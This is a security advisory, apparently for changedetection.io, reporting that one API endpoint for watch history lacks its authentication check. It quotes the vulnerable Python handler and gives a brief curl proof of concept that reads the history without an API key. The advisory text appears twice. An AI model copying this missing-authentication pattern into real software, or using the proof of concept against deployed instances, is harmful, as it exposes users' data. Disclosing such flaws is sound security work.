Summary
API endpoint /api/v1/watch/<uuid>/history
can be accessed by any unauthorized user.
Details
WatchHistory resource does not have @auth.check_token
annotation, which means it can be accessed without providing x-api-key
header.
|
class WatchHistory(Resource): |
|
def __init__(self, **kwargs): |
|
# datastore is a black box dependency |
|
self.datastore = kwargs['datastore'] |
|
|
|
# Get a list of available history for a watch by UUID |
|
# curl http://localhost:5000/api/v1/watch/<string:uuid>/history |
|
def get(self, uuid): |
|
""" |
|
@api {get} /api/v1/watch/<string:uuid>/history Get a list of all historical snapshots available for a watch |
|
@apiDescription Requires `uuid`, returns list |
|
@apiExample {curl} Example usage: |
|
curl http://localhost:5000/api/v1/watch/cc0cfffa-f449-477b-83ea-0caafd1dc091/history -H"x-api-key:813031b16330fe25e3780cf0325daa45" -H "Content-Type: application/json" |
|
{ |
|
"1676649279": "/tmp/data/6a4b7d5c-fee4-4616-9f43-4ac97046b595/cb7e9be8258368262246910e6a2a4c30.txt", |
|
"1677092785": "/tmp/data/6a4b7d5c-fee4-4616-9f43-4ac97046b595/e20db368d6fc633e34f559ff67bb4044.txt", |
|
"1677103794": "/tmp/data/6a4b7d5c-fee4-4616-9f43-4ac97046b595/02efdd37dacdae96554a8cc85dc9c945.txt" |
|
} |
|
@apiName Get list of available stored snapshots for watch |
|
@apiGroup Watch History |
|
@apiSuccess (200) {String} OK |
|
@apiSuccess (404) {String} ERR Not found |
|
""" |
|
watch = self.datastore.data['watching'].get(uuid) |
|
if not watch: |
|
abort(404, message='No watch exists with the UUID of {}'.format(uuid)) |
|
return watch.history, 200 |
|
|
PoC
- Get list of watch with
x-api-key
:
$ curl -H "x-api-key: apikeyhere" http://localhost:5000/api/v1/watch
{"uuid": ...}
- Call for history of snapshots without
x-api-key
. Expected - 401/403 error. Actual - list of snapshots is listed.
$ curl http://localhost:5000/api/v1/watch/uuid/history
{"timestamp": "/path/to/snapshot.txt"}
Impact
Anybody can check one's watch history. However, because unauthorized party first needs to know watch UUID, and the watch history endpoint itself returns only paths to the snapshot on the server, an impact on users' data privacy is minimal.
Summary
API endpoint
/api/v1/watch/<uuid>/history
can be accessed by any unauthorized user.Details
WatchHistory resource does not have
@auth.check_token
annotation, which means it can be accessed without providingx-api-key
header.changedetection.io/changedetectionio/api/api_v1.py
Lines 129 to 156 in 9510345
PoC
x-api-key
:x-api-key
. Expected - 401/403 error. Actual - list of snapshots is listed.Impact
Anybody can check one's watch history. However, because unauthorized party first needs to know watch UUID, and the watch history endpoint itself returns only paths to the snapshot on the server, an impact on users' data privacy is minimal.